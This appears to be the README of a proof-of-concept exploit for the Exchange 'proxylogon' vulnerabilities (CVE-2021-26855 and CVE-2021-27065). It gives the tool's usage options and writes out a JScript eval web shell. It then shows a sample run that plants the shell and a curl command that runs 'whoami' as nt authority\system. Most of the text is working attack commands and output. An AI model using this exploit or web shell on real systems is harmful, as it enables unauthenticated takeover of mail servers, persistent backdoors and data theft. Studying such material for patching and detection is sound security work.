Proof-of-concept exploit for CVE-2021-26855 and CVE-2021-27065, which allows for unauthenticated remote code execution on Microsoft Exchange as described in the following resources:
- https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers
- https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities
- https://www.crowdstrike.com/blog/falcon-complete-stops-microsoft-exchange-server-zero-day-exploits
Exploitation requires knowledge of the frontend Exchange server URL (e.g.
https://exchange.example.org
) and an email address for a user on the system.
The admin SID and backend can be leaked from the server.
$ python exploit.py -h
usage: exploit.py [-h] [--frontend FRONTEND] [--email EMAIL] [--sid SID]
[--webshell WEBSHELL] [--path PATH]
[--backend BACKEND]
[--proxy PROXY]
proxylogon proof-of-concept
optional arguments:
-h, --help show this help message and exit
--frontend FRONTEND external url to exchange (e.g. https://exchange.example.org)
--email EMAIL valid email on the target machine
--sid SID exchange admin sid
--webshell WEBSHELL webshell to upload
--path PATH desired path to webshell on host
--backend BACKEND [optional] backend host (leaked in X-CalculatedBETarget)
--proxy PROXY [optional] proxy traffic (e.g. http://127.0.0.1:8080)
$ cat <<EOF > webshell.aspx
<script language="JScript" runat="server">
function Page_Load(){
eval(Request["kxpprfgvnosz"],"unsafe");
}
</script>
EOF
$ python exploit.py --frontend https://172.16.59.7 --backend exchange.hafnium.local \
--email administrator@hafnium.local \
--webshell webshell.aspx \
--path 'C:\\Program Files\\Microsoft\\Exchange Server\\V15\\FrontEnd\\HttpProxy\\ecp\\auth\\o.aspx'
Retrieving backend via RPC
Backend: exchange.corp.contoso.com
Identified SID: S-1-5-21-...-500
Admin SID: S-1-5-21-...-500
Authenticating via proxylogon
Looking up OAB virtual directory
OAB virtual directory: OAB (Default Web Site)
Injecting payload into OAB ExternalUrl
Resetting OAB virtual directory
Enjoy your webshell!
$ curl -s -k https://172.16.59.7/ecp/auth/o.aspx \
-d 'kxpprfgvnosz=Response.Write(
new ActiveXObject("WScript.Shell")
.Exec("cmd /c whoami")
.StdOut
.ReadAll()
);' | head -n 1
nt authority\system